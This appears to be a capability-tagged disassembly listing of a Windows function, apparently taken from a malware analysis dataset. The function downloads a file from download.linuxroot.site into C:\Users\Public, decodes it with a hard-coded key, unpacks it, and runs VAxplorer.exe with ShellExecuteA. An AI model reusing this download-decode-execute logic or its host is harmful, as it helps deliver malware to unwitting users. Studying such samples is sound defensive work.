Function at 0x404c0a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push edi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov eax, dword [ebp + 8]
mov dword [0x479038], eax
mov dword [ebp - 0x64], 0
mov ecx, 0xb
xor eax, eax
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x64], 0x30
mov dword [ebp - 0x60], 3
mov dword [ebp - 0x5c], 0x403268
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], 0x1e
push 0x4784c8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x4c], eax
push 0x4784d0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x38], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], 0x10
mov dword [ebp - 0x3c], 0x4784d8
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
and eax, 0xffff
test eax, eax
jne 0x404cbc
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x34]
call fcn.00408b40
lea edx, [ebp - 0x94]
push edx
push str.C:UsersPublicDownloadsqq.dat
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
lea eax, [ebp - 0xa8]
push eax
push str.http:__download.linuxroot.site_download_6318.dat
lea ecx, [ebp - 0xa4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0xa4]
push edx
lea ecx, [ebp - 0x34]
call fcn.00408dfa
lea ecx, [ebp - 0xa4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call fcn.00408c26
push str.C:UsersPublicDownloads_ff.dat
push str.C:UsersPublicDownloadsqq.dat
push str.d09dfhj6u4d54jj542
call fcn.00404b10
add esp, 0xc
push str.C:UsersPublicDownloads_ff.dat
push str.C:UsersPublic
call fcn.004048f0
add esp, 8
push 5
push 0
push 0x4795ac
push str.C:UsersPublicVAxplorerVAxplorer.exe
push 0x4784f8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [0x479050], 0
jne 0x404d9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xac], 1
lea ecx, [ebp - 0x34]
call fcn.00408bc1
mov eax, dword [ebp - 0xac]
jmp 0x404e3d
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [0x479050]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [0x479050]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
push str.ACCELERATORS
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x404e25
lea edx, [ebp - 0x80]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [0x479050]
push ecx
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
je 0x404df9
jmp 0x404dca
lea edx, [ebp - 0x80]
push edx
mov eax, dword [0x479050]
push eax
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
je 0x404e0f
jmp 0x404dca
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x404dca
mov dword [ebp - 0xb0], 0
lea ecx, [ebp - 0x34]
call fcn.00408bc1
mov eax, dword [ebp - 0xb0]
pop edi
mov esp, ebp
pop ebp
ret 0x10